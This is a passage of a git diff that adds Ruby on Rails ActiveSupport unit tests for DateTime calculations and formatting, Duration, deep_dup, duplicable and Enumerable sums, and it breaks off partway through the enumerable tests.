+ assert_equal(1, Date.today <=> -Float::INFINITY)
+ end
+end
+
+class DateExtConversionsTest < ActiveSupport::TestCase
+ def test_to_time_in_current_zone_is_deprecated
+ assert_deprecated(/to_time_in_current_zone/) do
+ Date.new(2012,6,7).to_time_in_current_zone
+ end
+ end
+end
diff --git a/activesupport/test/core_ext/date_time_ext_test.rb b/activesupport/test/core_ext/date_time_ext_test.rb
new file mode 100644
index 0000000..7be5785
--- /dev/null
+++ b/activesupport/test/core_ext/date_time_ext_test.rb
@@ -0,0 +1,344 @@
+require 'abstract_unit'
+require 'active_support/time'
+require 'core_ext/date_and_time_behavior'
+
+class DateTimeExtCalculationsTest < ActiveSupport::TestCase
+ def date_time_init(year,month,day,hour,minute,second,*args)
+ DateTime.civil(year,month,day,hour,minute,second)
+ end
+
+ include DateAndTimeBehavior
+
+ def test_to_s
+ datetime = DateTime.new(2005, 2, 21, 14, 30, 0, 0)
+ assert_equal "2005-02-21 14:30:00", datetime.to_s(:db)
+ assert_equal "14:30", datetime.to_s(:time)
+ assert_equal "21 Feb 14:30", datetime.to_s(:short)
+ assert_equal "February 21, 2005 14:30", datetime.to_s(:long)
+ assert_equal "Mon, 21 Feb 2005 14:30:00 +0000", datetime.to_s(:rfc822)
+ assert_equal "February 21st, 2005 14:30", datetime.to_s(:long_ordinal)
+ assert_match(/^2005-02-21T14:30:00(Z|\+00:00)$/, datetime.to_s)
+ end
+
+ def test_readable_inspect
+ datetime = DateTime.new(2005, 2, 21, 14, 30, 0)
+ assert_equal "Mon, 21 Feb 2005 14:30:00 +0000", datetime.readable_inspect
+ assert_equal datetime.readable_inspect, datetime.inspect
+ end
+
+ def test_custom_date_format
+ Time::DATE_FORMATS[:custom] = '%Y%m%d%H%M%S'
+ assert_equal '20050221143000', DateTime.new(2005, 2, 21, 14, 30, 0).to_s(:custom)
+ Time::DATE_FORMATS.delete(:custom)
+ end
+
+ def test_to_date
+ assert_equal Date.new(2005, 2, 21), DateTime.new(2005, 2, 21, 14, 30, 0).to_date
+ end
+
+ def test_to_datetime
+ assert_equal DateTime.new(2005, 2, 21, 14, 30, 0), DateTime.new(2005, 2, 21, 14, 30, 0).to_datetime
+ end
+
+ def test_to_time
+ with_env_tz 'US/Eastern' do
+ assert_equal Time, DateTime.new(2005, 2, 21, 10, 11, 12, 0).to_time.class
+ assert_equal Time.local(2005, 2, 21, 5, 11, 12), DateTime.new(2005, 2, 21, 10, 11, 12, 0).to_time
+ assert_equal Time.local(2005, 2, 21, 5, 11, 12).utc_offset, DateTime.new(2005, 2, 21, 10, 11, 12, 0).to_time.utc_offset
+ end
+ end
+
+ def test_to_time_preserves_fractional_seconds
+ assert_equal Time.utc(2005, 2, 21, 10, 11, 12, 256), DateTime.new(2005, 2, 21, 10, 11, 12 + Rational(256, 1000000), 0).to_time
+ end
+
+ def test_civil_from_format
+ assert_equal Time.local(2010, 5, 4, 0, 0, 0), DateTime.civil_from_format(:local, 2010, 5, 4)
+ assert_equal Time.utc(2010, 5, 4, 0, 0, 0), DateTime.civil_from_format(:utc, 2010, 5, 4)
+ end
+
+ def test_seconds_since_midnight
+ assert_equal 1,DateTime.civil(2005,1,1,0,0,1).seconds_since_midnight
+ assert_equal 60,DateTime.civil(2005,1,1,0,1,0).seconds_since_midnight
+ assert_equal 3660,DateTime.civil(2005,1,1,1,1,0).seconds_since_midnight
+ assert_equal 86399,DateTime.civil(2005,1,1,23,59,59).seconds_since_midnight
+ end
+
+ def test_seconds_until_end_of_day
+ assert_equal 0, DateTime.civil(2005,1,1,23,59,59).seconds_until_end_of_day
+ assert_equal 1, DateTime.civil(2005,1,1,23,59,58).seconds_until_end_of_day
+ assert_equal 60, DateTime.civil(2005,1,1,23,58,59).seconds_until_end_of_day
+ assert_equal 3660, DateTime.civil(2005,1,1,22,58,59).seconds_until_end_of_day
+ assert_equal 86399, DateTime.civil(2005,1,1,0,0,0).seconds_until_end_of_day
+ end
+
+ def test_beginning_of_day
+ assert_equal DateTime.civil(2005,2,4,0,0,0), DateTime.civil(2005,2,4,10,10,10).beginning_of_day
+ end
+
+ def test_end_of_day
+ assert_equal DateTime.civil(2005,2,4,23,59,59), DateTime.civil(2005,2,4,10,10,10).end_of_day
+ end
+
+ def test_beginning_of_hour
+ assert_equal DateTime.civil(2005,2,4,19,0,0), DateTime.civil(2005,2,4,19,30,10).beginning_of_hour
+ end
+
+ def test_end_of_hour
+ assert_equal DateTime.civil(2005,2,4,19,59,59), DateTime.civil(2005,2,4,19,30,10).end_of_hour
+ end
+
+ def test_beginning_of_minute
+ assert_equal DateTime.civil(2005,2,4,19,30,0), DateTime.civil(2005,2,4,19,30,10).beginning_of_minute
+ end
+
+ def test_end_of_minute
+ assert_equal DateTime.civil(2005,2,4,19,30,59), DateTime.civil(2005,2,4,19,30,10).end_of_minute
+ end
+
+ def test_end_of_month
+ assert_equal DateTime.civil(2005,3,31,23,59,59), DateTime.civil(2005,3,20,10,10,10).end_of_month
+ assert_equal DateTime.civil(2005,2,28,23,59,59), DateTime.civil(2005,2,20,10,10,10).end_of_month
+ assert_equal DateTime.civil(2005,4,30,23,59,59), DateTime.civil(2005,4,20,10,10,10).end_of_month
+ end
+
+ def test_last_year
+ assert_equal DateTime.civil(2004,6,5,10), DateTime.civil(2005,6,5,10,0,0).last_year
+ end
+
+ def test_ago
+ assert_equal DateTime.civil(2005,2,22,10,10,9), DateTime.civil(2005,2,22,10,10,10).ago(1)
+ assert_equal DateTime.civil(2005,2,22,9,10,10), DateTime.civil(2005,2,22,10,10,10).ago(3600)
+ assert_equal DateTime.civil(2005,2,20,10,10,10), DateTime.civil(2005,2,22,10,10,10).ago(86400*2)
+ assert_equal DateTime.civil(2005,2,20,9,9,45), DateTime.civil(2005,2,22,10,10,10).ago(86400*2 + 3600 + 25)
+ end
+
+ def test_since
+ assert_equal DateTime.civil(2005,2,22,10,10,11), DateTime.civil(2005,2,22,10,10,10).since(1)
+ assert_equal DateTime.civil(2005,2,22,11,10,10), DateTime.civil(2005,2,22,10,10,10).since(3600)
+ assert_equal DateTime.civil(2005,2,24,10,10,10), DateTime.civil(2005,2,22,10,10,10).since(86400*2)
+ assert_equal DateTime.civil(2005,2,24,11,10,35), DateTime.civil(2005,2,22,10,10,10).since(86400*2 + 3600 + 25)
+ assert_equal DateTime.civil(2005,2,22,10,10,11), DateTime.civil(2005,2,22,10,10,10).since(1.333)
+ assert_equal DateTime.civil(2005,2,22,10,10,12), DateTime.civil(2005,2,22,10,10,10).since(1.667)
+ end
+
+ def test_change
+ assert_equal DateTime.civil(2006,2,22,15,15,10), DateTime.civil(2005,2,22,15,15,10).change(:year => 2006)
+ assert_equal DateTime.civil(2005,6,22,15,15,10), DateTime.civil(2005,2,22,15,15,10).change(:month => 6)
+ assert_equal DateTime.civil(2012,9,22,15,15,10), DateTime.civil(2005,2,22,15,15,10).change(:year => 2012, :month => 9)
+ assert_equal DateTime.civil(2005,2,22,16), DateTime.civil(2005,2,22,15,15,10).change(:hour => 16)
+ assert_equal DateTime.civil(2005,2,22,16,45), DateTime.civil(2005,2,22,15,15,10).change(:hour => 16, :min => 45)
+ assert_equal DateTime.civil(2005,2,22,15,45), DateTime.civil(2005,2,22,15,15,10).change(:min => 45)
+
+ # datetime with fractions of a second
+ assert_equal DateTime.civil(2005,2,1,15,15,10.7), DateTime.civil(2005,2,22,15,15,10.7).change(:day => 1)
+ end
+
+ def test_advance
+ assert_equal DateTime.civil(2006,2,28,15,15,10), DateTime.civil(2005,2,28,15,15,10).advance(:years => 1)
+ assert_equal DateTime.civil(2005,6,28,15,15,10), DateTime.civil(2005,2,28,15,15,10).advance(:months => 4)
+ assert_equal DateTime.civil(2005,3,21,15,15,10), DateTime.civil(2005,2,28,15,15,10).advance(:weeks => 3)
+ assert_equal DateTime.civil(2005,3,5,15,15,10), DateTime.civil(2005,2,28,15,15,10).advance(:days => 5)
+ assert_equal DateTime.civil(2012,9,28,15,15,10), DateTime.civil(2005,2,28,15,15,10).advance(:years => 7, :months => 7)
+ assert_equal DateTime.civil(2013,10,3,15,15,10), DateTime.civil(2005,2,28,15,15,10).advance(:years => 7, :months => 19, :days => 5)
+ assert_equal DateTime.civil(2013,10,17,15,15,10), DateTime.civil(2005,2,28,15,15,10).advance(:years => 7, :months => 19, :weeks => 2, :days => 5)
+ assert_equal DateTime.civil(2001,12,27,15,15,10), DateTime.civil(2005,2,28,15,15,10).advance(:years => -3, :months => -2, :days => -1)
+ assert_equal DateTime.civil(2005,2,28,15,15,10), DateTime.civil(2004,2,29,15,15,10).advance(:years => 1) #leap day plus one year
+ assert_equal DateTime.civil(2005,2,28,20,15,10), DateTime.civil(2005,2,28,15,15,10).advance(:hours => 5)
+ assert_equal DateTime.civil(2005,2,28,15,22,10), DateTime.civil(2005,2,28,15,15,10).advance(:minutes => 7)
+ assert_equal DateTime.civil(2005,2,28,15,15,19), DateTime.civil(2005,2,28,15,15,10).advance(:seconds => 9)
+ assert_equal DateTime.civil(2005,2,28,20,22,19), DateTime.civil(2005,2,28,15,15,10).advance(:hours => 5, :minutes => 7, :seconds => 9)
+ assert_equal DateTime.civil(2005,2,28,10,8,1), DateTime.civil(2005,2,28,15,15,10).advance(:hours => -5, :minutes => -7, :seconds => -9)
+ assert_equal DateTime.civil(2013,10,17,20,22,19), DateTime.civil(2005,2,28,15,15,10).advance(:years => 7, :months => 19, :weeks => 2, :days => 5, :hours => 5, :minutes => 7, :seconds => 9)
+ end
+
+ def test_advanced_processes_first_the_date_deltas_and_then_the_time_deltas
+ # If the time deltas were processed first, the following datetimes would be advanced to 2010/04/01 instead.
+ assert_equal DateTime.civil(2010, 3, 29), DateTime.civil(2010, 2, 28, 23, 59, 59).advance(:months => 1, :seconds => 1)
+ assert_equal DateTime.civil(2010, 3, 29), DateTime.civil(2010, 2, 28, 23, 59).advance(:months => 1, :minutes => 1)
+ assert_equal DateTime.civil(2010, 3, 29), DateTime.civil(2010, 2, 28, 23).advance(:months => 1, :hours => 1)
+ assert_equal DateTime.civil(2010, 3, 29), DateTime.civil(2010, 2, 28, 22, 58, 59).advance(:months => 1, :hours => 1, :minutes => 1, :seconds => 1)
+ end
+
+ def test_last_week
+ assert_equal DateTime.civil(2005,2,21), DateTime.civil(2005,3,1,15,15,10).last_week
+ assert_equal DateTime.civil(2005,2,22), DateTime.civil(2005,3,1,15,15,10).last_week(:tuesday)
+ assert_equal DateTime.civil(2005,2,25), DateTime.civil(2005,3,1,15,15,10).last_week(:friday)
+ assert_equal DateTime.civil(2006,10,30), DateTime.civil(2006,11,6,0,0,0).last_week
+ assert_equal DateTime.civil(2006,11,15), DateTime.civil(2006,11,23,0,0,0).last_week(:wednesday)
+ end
+
+ def test_last_month_on_31st
+ assert_equal DateTime.civil(2004, 2, 29), DateTime.civil(2004, 3, 31).last_month
+ end
+
+ def test_last_quarter_on_31st
+ assert_equal DateTime.civil(2004, 2, 29), DateTime.civil(2004, 5, 31).last_quarter
+ end
+
+ def test_xmlschema
+ assert_match(/^1880-02-28T15:15:10\+00:?00$/, DateTime.civil(1880, 2, 28, 15, 15, 10).xmlschema)
+ assert_match(/^1980-02-28T15:15:10\+00:?00$/, DateTime.civil(1980, 2, 28, 15, 15, 10).xmlschema)
+ assert_match(/^2080-02-28T15:15:10\+00:?00$/, DateTime.civil(2080, 2, 28, 15, 15, 10).xmlschema)
+ assert_match(/^1880-02-28T15:15:10-06:?00$/, DateTime.civil(1880, 2, 28, 15, 15, 10, -0.25).xmlschema)
+ assert_match(/^1980-02-28T15:15:10-06:?00$/, DateTime.civil(1980, 2, 28, 15, 15, 10, -0.25).xmlschema)
+ assert_match(/^2080-02-28T15:15:10-06:?00$/, DateTime.civil(2080, 2, 28, 15, 15, 10, -0.25).xmlschema)
+ end
+
+ def test_today_with_offset
+ Date.stubs(:current).returns(Date.new(2000, 1, 1))
+ assert_equal false, DateTime.civil(1999,12,31,23,59,59, Rational(-18000, 86400)).today?
+ assert_equal true, DateTime.civil(2000,1,1,0,0,0, Rational(-18000, 86400)).today?
+ assert_equal true, DateTime.civil(2000,1,1,23,59,59, Rational(-18000, 86400)).today?
+ assert_equal false, DateTime.civil(2000,1,2,0,0,0, Rational(-18000, 86400)).today?
+ end
+
+ def test_today_without_offset
+ Date.stubs(:current).returns(Date.new(2000, 1, 1))
+ assert_equal false, DateTime.civil(1999,12,31,23,59,59).today?
+ assert_equal true, DateTime.civil(2000,1,1,0).today?
+ assert_equal true, DateTime.civil(2000,1,1,23,59,59).today?
+ assert_equal false, DateTime.civil(2000,1,2,0).today?
+ end
+
+ def test_past_with_offset
+ DateTime.stubs(:current).returns(DateTime.civil(2005,2,10,15,30,45, Rational(-18000, 86400)))
+ assert_equal true, DateTime.civil(2005,2,10,15,30,44, Rational(-18000, 86400)).past?
+ assert_equal false, DateTime.civil(2005,2,10,15,30,45, Rational(-18000, 86400)).past?
+ assert_equal false, DateTime.civil(2005,2,10,15,30,46, Rational(-18000, 86400)).past?
+ end
+
+ def test_past_without_offset
+ DateTime.stubs(:current).returns(DateTime.civil(2005,2,10,15,30,45, Rational(-18000, 86400)))
+ assert_equal true, DateTime.civil(2005,2,10,20,30,44).past?
+ assert_equal false, DateTime.civil(2005,2,10,20,30,45).past?
+ assert_equal false, DateTime.civil(2005,2,10,20,30,46).past?
+ end
+
+ def test_future_with_offset
+ DateTime.stubs(:current).returns(DateTime.civil(2005,2,10,15,30,45, Rational(-18000, 86400)))
+ assert_equal false, DateTime.civil(2005,2,10,15,30,44, Rational(-18000, 86400)).future?
+ assert_equal false, DateTime.civil(2005,2,10,15,30,45, Rational(-18000, 86400)).future?
+ assert_equal true, DateTime.civil(2005,2,10,15,30,46, Rational(-18000, 86400)).future?
+ end
+
+ def test_future_without_offset
+ DateTime.stubs(:current).returns(DateTime.civil(2005,2,10,15,30,45, Rational(-18000, 86400)))
+ assert_equal false, DateTime.civil(2005,2,10,20,30,44).future?
+ assert_equal false, DateTime.civil(2005,2,10,20,30,45).future?
+ assert_equal true, DateTime.civil(2005,2,10,20,30,46).future?
+ end
+
+ def test_current_returns_date_today_when_zone_is_not_set
+ with_env_tz 'US/Eastern' do
+ Time.stubs(:now).returns Time.local(1999, 12, 31, 23, 59, 59)
+ assert_equal DateTime.new(1999, 12, 31, 23, 59, 59, Rational(-18000, 86400)), DateTime.current
+ end
+ end
+
+ def test_current_returns_time_zone_today_when_zone_is_set
+ Time.zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+ with_env_tz 'US/Eastern' do
+ Time.stubs(:now).returns Time.local(1999, 12, 31, 23, 59, 59)
+ assert_equal DateTime.new(1999, 12, 31, 23, 59, 59, Rational(-18000, 86400)), DateTime.current
+ end
+ ensure
+ Time.zone = nil
+ end
+
+ def test_current_without_time_zone
+ assert_kind_of DateTime, DateTime.current
+ end
+
+ def test_current_with_time_zone
+ with_env_tz 'US/Eastern' do
+ assert_kind_of DateTime, DateTime.current
+ end
+ end
+
+ def test_acts_like_date
+ assert DateTime.new.acts_like_date?
+ end
+
+ def test_acts_like_time
+ assert DateTime.new.acts_like_time?
+ end
+
+ def test_utc?
+ assert_equal true, DateTime.civil(2005, 2, 21, 10, 11, 12).utc?
+ assert_equal true, DateTime.civil(2005, 2, 21, 10, 11, 12, 0).utc?
+ assert_equal false, DateTime.civil(2005, 2, 21, 10, 11, 12, 0.25).utc?
+ assert_equal false, DateTime.civil(2005, 2, 21, 10, 11, 12, -0.25).utc?
+ end
+
+ def test_utc_offset
+ assert_equal 0, DateTime.civil(2005, 2, 21, 10, 11, 12).utc_offset
+ assert_equal 0, DateTime.civil(2005, 2, 21, 10, 11, 12, 0).utc_offset
+ assert_equal 21600, DateTime.civil(2005, 2, 21, 10, 11, 12, 0.25).utc_offset
+ assert_equal( -21600, DateTime.civil(2005, 2, 21, 10, 11, 12, -0.25).utc_offset )
+ assert_equal( -18000, DateTime.civil(2005, 2, 21, 10, 11, 12, Rational(-5, 24)).utc_offset )
+ end
+
+ def test_utc
+ assert_equal DateTime.civil(2005, 2, 21, 16, 11, 12, 0), DateTime.civil(2005, 2, 21, 10, 11, 12, Rational(-6, 24)).utc
+ assert_equal DateTime.civil(2005, 2, 21, 15, 11, 12, 0), DateTime.civil(2005, 2, 21, 10, 11, 12, Rational(-5, 24)).utc
+ assert_equal DateTime.civil(2005, 2, 21, 10, 11, 12, 0), DateTime.civil(2005, 2, 21, 10, 11, 12, 0).utc
+ assert_equal DateTime.civil(2005, 2, 21, 9, 11, 12, 0), DateTime.civil(2005, 2, 21, 10, 11, 12, Rational(1, 24)).utc
+ assert_equal DateTime.civil(2005, 2, 21, 9, 11, 12, 0), DateTime.civil(2005, 2, 21, 10, 11, 12, Rational(1, 24)).getutc
+ end
+
+ def test_formatted_offset_with_utc
+ assert_equal '+00:00', DateTime.civil(2000).formatted_offset
+ assert_equal '+0000', DateTime.civil(2000).formatted_offset(false)
+ assert_equal 'UTC', DateTime.civil(2000).formatted_offset(true, 'UTC')
+ end
+
+ def test_formatted_offset_with_local
+ dt = DateTime.civil(2005, 2, 21, 10, 11, 12, Rational(-5, 24))
+ assert_equal '-05:00', dt.formatted_offset
+ assert_equal '-0500', dt.formatted_offset(false)
+ end
+
+ def test_compare_with_time
+ assert_equal 1, DateTime.civil(2000) <=> Time.utc(1999, 12, 31, 23, 59, 59)
+ assert_equal 0, DateTime.civil(2000) <=> Time.utc(2000, 1, 1, 0, 0, 0)
+ assert_equal(-1, DateTime.civil(2000) <=> Time.utc(2000, 1, 1, 0, 0, 1))
+ end
+
+ def test_compare_with_datetime
+ assert_equal 1, DateTime.civil(2000) <=> DateTime.civil(1999, 12, 31, 23, 59, 59)
+ assert_equal 0, DateTime.civil(2000) <=> DateTime.civil(2000, 1, 1, 0, 0, 0)
+ assert_equal(-1, DateTime.civil(2000) <=> DateTime.civil(2000, 1, 1, 0, 0, 1))
+ end
+
+ def test_compare_with_time_with_zone
+ assert_equal 1, DateTime.civil(2000) <=> ActiveSupport::TimeWithZone.new( Time.utc(1999, 12, 31, 23, 59, 59), ActiveSupport::TimeZone['UTC'] )
+ assert_equal 0, DateTime.civil(2000) <=> ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 1, 0, 0, 0), ActiveSupport::TimeZone['UTC'] )
+ assert_equal(-1, DateTime.civil(2000) <=> ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 1, 0, 0, 1), ActiveSupport::TimeZone['UTC'] ))
+ end
+
+ def test_to_f
+ assert_equal 946684800.0, DateTime.civil(2000).to_f
+ assert_equal 946684800.0, DateTime.civil(1999,12,31,19,0,0,Rational(-5,24)).to_f
+ end
+
+ def test_to_i
+ assert_equal 946684800, DateTime.civil(2000).to_i
+ assert_equal 946684800, DateTime.civil(1999,12,31,19,0,0,Rational(-5,24)).to_i
+ end
+
+ protected
+ def with_env_tz(new_tz = 'US/Eastern')
+ old_tz, ENV['TZ'] = ENV['TZ'], new_tz
+ yield
+ ensure
+ old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
+ end
+end
+
+class DateTimeExtBehaviorTest < ActiveSupport::TestCase
+ def test_compare_with_infinity
+ assert_equal(-1, DateTime.now <=> Float::INFINITY)
+ assert_equal(1, DateTime.now <=> -Float::INFINITY)
+ end
+end
diff --git a/activesupport/test/core_ext/deep_dup_test.rb b/activesupport/test/core_ext/deep_dup_test.rb
new file mode 100644
index 0000000..91d558d
--- /dev/null
+++ b/activesupport/test/core_ext/deep_dup_test.rb
@@ -0,0 +1,53 @@
+require 'abstract_unit'
+require 'active_support/core_ext/object'
+
+class DeepDupTest < ActiveSupport::TestCase
+
+ def test_array_deep_dup
+ array = [1, [2, 3]]
+ dup = array.deep_dup
+ dup[1][2] = 4
+ assert_equal nil, array[1][2]
+ assert_equal 4, dup[1][2]
+ end
+
+ def test_hash_deep_dup
+ hash = { :a => { :b => 'b' } }
+ dup = hash.deep_dup
+ dup[:a][:c] = 'c'
+ assert_equal nil, hash[:a][:c]
+ assert_equal 'c', dup[:a][:c]
+ end
+
+ def test_array_deep_dup_with_hash_inside
+ array = [1, { :a => 2, :b => 3 } ]
+ dup = array.deep_dup
+ dup[1][:c] = 4
+ assert_equal nil, array[1][:c]
+ assert_equal 4, dup[1][:c]
+ end
+
+ def test_hash_deep_dup_with_array_inside
+ hash = { :a => [1, 2] }
+ dup = hash.deep_dup
+ dup[:a][2] = 'c'
+ assert_equal nil, hash[:a][2]
+ assert_equal 'c', dup[:a][2]
+ end
+
+ def test_deep_dup_initialize
+ zero_hash = Hash.new 0
+ hash = { :a => zero_hash }
+ dup = hash.deep_dup
+ assert_equal 0, dup[:a][44]
+ end
+
+ def test_object_deep_dup
+ object = Object.new
+ dup = object.deep_dup
+ dup.instance_variable_set(:@a, 1)
+ assert !object.instance_variable_defined?(:@a)
+ assert dup.instance_variable_defined?(:@a)
+ end
+
+end
diff --git a/activesupport/test/core_ext/duplicable_test.rb b/activesupport/test/core_ext/duplicable_test.rb
new file mode 100644
index 0000000..e0566e0
--- /dev/null
+++ b/activesupport/test/core_ext/duplicable_test.rb
@@ -0,0 +1,38 @@
+require 'abstract_unit'
+require 'bigdecimal'
+require 'active_support/core_ext/object/duplicable'
+require 'active_support/core_ext/numeric/time'
+
+class DuplicableTest < ActiveSupport::TestCase
+ RAISE_DUP = [nil, false, true, :symbol, 1, 2.3, 5.seconds]
+ YES = ['1', Object.new, /foo/, [], {}, Time.now, Class.new, Module.new]
+ NO = []
+
+ begin
+ bd = BigDecimal.new('4.56')
+ YES << bd.dup
+ rescue TypeError
+ RAISE_DUP << bd
+ end
+
+
+ def test_duplicable
+ (RAISE_DUP + NO).each do |v|
+ assert !v.duplicable?
+ end
+
+ YES.each do |v|
+ assert v.duplicable?, "#{v.class} should be duplicable"
+ end
+
+ (YES + NO).each do |v|
+ assert_nothing_raised { v.dup }
+ end
+
+ RAISE_DUP.each do |v|
+ assert_raises(TypeError, v.class.name) do
+ v.dup
+ end
+ end
+ end
+end
diff --git a/activesupport/test/core_ext/duration_test.rb b/activesupport/test/core_ext/duration_test.rb
new file mode 100644
index 0000000..5e39872
--- /dev/null
+++ b/activesupport/test/core_ext/duration_test.rb
@@ -0,0 +1,152 @@
+require 'abstract_unit'
+require 'active_support/inflector'
+require 'active_support/time'
+require 'active_support/json'
+
+class DurationTest < ActiveSupport::TestCase
+ def test_is_a
+ d = 1.day
+ assert d.is_a?(ActiveSupport::Duration)
+ assert_kind_of ActiveSupport::Duration, d
+ assert_kind_of Numeric, d
+ assert_kind_of Fixnum, d
+ assert !d.is_a?(Hash)
+
+ k = Class.new
+ class << k; undef_method :== end
+ assert !d.is_a?(k)
+ end
+
+ def test_threequals
+ assert ActiveSupport::Duration === 1.day
+ assert !(ActiveSupport::Duration === 1.day.to_i)
+ assert !(ActiveSupport::Duration === 'foo')
+ assert !(ActiveSupport::Duration === ActiveSupport::ProxyObject.new)
+ end
+
+ def test_equals
+ assert 1.day == 1.day
+ assert 1.day == 1.day.to_i
+ assert !(1.day == 'foo')
+ end
+
+ def test_inspect
+ assert_equal '0 seconds', 0.seconds.inspect
+ assert_equal '1 month', 1.month.inspect
+ assert_equal '1 month and 1 day', (1.month + 1.day).inspect
+ assert_equal '6 months and -2 days', (6.months - 2.days).inspect
+ assert_equal '10 seconds', 10.seconds.inspect
+ assert_equal '10 years, 2 months, and 1 day', (10.years + 2.months + 1.day).inspect
+ assert_equal '7 days', 1.week.inspect
+ assert_equal '14 days', 1.fortnight.inspect
+ end
+
+ def test_minus_with_duration_does_not_break_subtraction_of_date_from_date
+ assert_nothing_raised { Date.today - Date.today }
+ end
+
+ def test_plus_with_time
+ assert_equal 1 + 1.second, 1.second + 1, "Duration + Numeric should == Numeric + Duration"
+ end
+
+ def test_argument_error
+ 1.second.ago('')
+ flunk("no exception was raised")
+ rescue ArgumentError => e
+ assert_equal 'expected a time or date, got ""', e.message, "ensure ArgumentError is not being raised by dependencies.rb"
+ rescue Exception => e
+ flunk("ArgumentError should be raised, but we got #{e.class} instead")
+ end
+
+ def test_fractional_weeks
+ assert_equal((86400 * 7) * 1.5, 1.5.weeks)
+ assert_equal((86400 * 7) * 1.7, 1.7.weeks)
+ end
+
+ def test_fractional_days
+ assert_equal 86400 * 1.5, 1.5.days
+ assert_equal 86400 * 1.7, 1.7.days
+ end
+
+ def test_since_and_ago_with_fractional_days
+ t = Time.local(2000)
+ # since
+ assert_equal 36.hours.since(t), 1.5.days.since(t)
+ assert_in_delta((24 * 1.7).hours.since(t), 1.7.days.since(t), 1)
+ # ago
+ assert_equal 36.hours.ago(t), 1.5.days.ago(t)
+ assert_in_delta((24 * 1.7).hours.ago(t), 1.7.days.ago(t), 1)
+ end
+
+ def test_since_and_ago_with_fractional_weeks
+ t = Time.local(2000)
+ # since
+ assert_equal((7 * 36).hours.since(t), 1.5.weeks.since(t))
+ assert_in_delta((7 * 24 * 1.7).hours.since(t), 1.7.weeks.since(t), 1)
+ # ago
+ assert_equal((7 * 36).hours.ago(t), 1.5.weeks.ago(t))
+ assert_in_delta((7 * 24 * 1.7).hours.ago(t), 1.7.weeks.ago(t), 1)
+ end
+
+ def test_since_and_ago_anchored_to_time_now_when_time_zone_is_not_set
+ Time.zone = nil
+ with_env_tz 'US/Eastern' do
+ Time.stubs(:now).returns Time.local(2000)
+ # since
+ assert_equal false, 5.seconds.since.is_a?(ActiveSupport::TimeWithZone)
+ assert_equal Time.local(2000,1,1,0,0,5), 5.seconds.since
+ # ago
+ assert_equal false, 5.seconds.ago.is_a?(ActiveSupport::TimeWithZone)
+ assert_equal Time.local(1999,12,31,23,59,55), 5.seconds.ago
+ end
+ end
+
+ def test_since_and_ago_anchored_to_time_zone_now_when_time_zone_is_set
+ Time.zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+ with_env_tz 'US/Eastern' do
+ Time.stubs(:now).returns Time.local(2000)
+ # since
+ assert_equal true, 5.seconds.since.is_a?(ActiveSupport::TimeWithZone)
+ assert_equal Time.utc(2000,1,1,0,0,5), 5.seconds.since.time
+ assert_equal 'Eastern Time (US & Canada)', 5.seconds.since.time_zone.name
+ # ago
+ assert_equal true, 5.seconds.ago.is_a?(ActiveSupport::TimeWithZone)
+ assert_equal Time.utc(1999,12,31,23,59,55), 5.seconds.ago.time
+ assert_equal 'Eastern Time (US & Canada)', 5.seconds.ago.time_zone.name
+ end
+ ensure
+ Time.zone = nil
+ end
+
+ def test_adding_hours_across_dst_boundary
+ with_env_tz 'CET' do
+ assert_equal Time.local(2009,3,29,0,0,0) + 24.hours, Time.local(2009,3,30,1,0,0)
+ end
+ end
+
+ def test_adding_day_across_dst_boundary
+ with_env_tz 'CET' do
+ assert_equal Time.local(2009,3,29,0,0,0) + 1.day, Time.local(2009,3,30,0,0,0)
+ end
+ end
+
+ def test_delegation_with_block_works
+ counter = 0
+ assert_nothing_raised do
+ 1.minute.times {counter += 1}
+ end
+ assert_equal counter, 60
+ end
+
+ def test_to_json
+ assert_equal '172800', 2.days.to_json
+ end
+
+ protected
+ def with_env_tz(new_tz = 'US/Eastern')
+ old_tz, ENV['TZ'] = ENV['TZ'], new_tz
+ yield
+ ensure
+ old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
+ end
+end
diff --git a/activesupport/test/core_ext/enumerable_test.rb b/activesupport/test/core_ext/enumerable_test.rb
new file mode 100644
index 0000000..6781e3c
--- /dev/null
+++ b/activesupport/test/core_ext/enumerable_test.rb
@@ -0,0 +1,123 @@
+require 'abstract_unit'
+require 'active_support/core_ext/array'
+require 'active_support/core_ext/enumerable'
+
+Payment = Struct.new(:price)
+class SummablePayment < Payment
+ def +(p) self.class.new(price + p.price) end
+end
+
+class EnumerableTests < ActiveSupport::TestCase
+ Enumerator = [].each.class
+
+ class GenericEnumerable
+ include Enumerable
+ def initialize(values = [1, 2, 3])
+ @values = values
+ end
+
+ def each
+ @values.each{|v| yield v}
+ end
+ end
+
+ def test_group_by
+ names = %w(marcel sam david jeremy)
+ klass = Struct.new(:name)
+ objects = (1..50).map do
+ klass.new names.sample
+ end
+
+ enum = GenericEnumerable.new(objects)
+ grouped = enum.group_by { |object| object.name }
+
+ grouped.each do |name, group|
+ assert group.all? { |person| person.name == name }
+ end
+
+ assert_equal objects.uniq.map(&:name), grouped.keys
+ assert({}.merge(grouped), "Could not convert ActiveSupport::OrderedHash into Hash")
+ assert_equal Enumerator, enum.group_by.class
+ assert_equal grouped, enum.group_by.each(&:name)
+ end
+
+ def test_sums
+ enum = GenericEnumerable.new([5, 15, 10])
+ assert_equal 30, enum.sum
+ assert_equal 60, enum.sum { |i| i * 2}
+
+ enum = GenericEnumerable.new(%w(a b c))
+ assert_equal 'abc', enum.sum
+ assert_equal 'aabbcc', enum.sum { |i| i * 2 }
+
+ payments = GenericEnumerable.new([ Payment.new(5), Payment.new(15), Payment.new(10) ])
+ assert_equal 30, payments.sum(&:price)
+ assert_equal 60, payments.sum { |p| p.price * 2 }
+
+ payments = GenericEnumerable.new([ SummablePayment.new(5), SummablePayment.new(15) ])
+ assert_equal SummablePayment.new(20), payments.sum
+ assert_equal SummablePayment.new(20), payments.sum { |p| p }
+ end
+
+ def test_nil_sums
+ expected_raise = TypeError
+
+ assert_raise(expected_raise) { GenericEnumerable.new([5, 15, nil]).sum }
+
+ payments = GenericEnumerable.new([ Payment.new(5), Payment.new(15), Payment.new(10), Payment.new(nil) ])
+ assert_raise(expected_raise) { payments.sum(&:price) }
+
+ assert_equal 60, payments.sum { |p| p.price.to_i * 2 }
+ end
+
+ def test_empty_sums
+ assert_equal 0, GenericEnumerable.new([]).sum
+ assert_equal 0, GenericEnumerable.new([]).sum { |i| i + 10 }
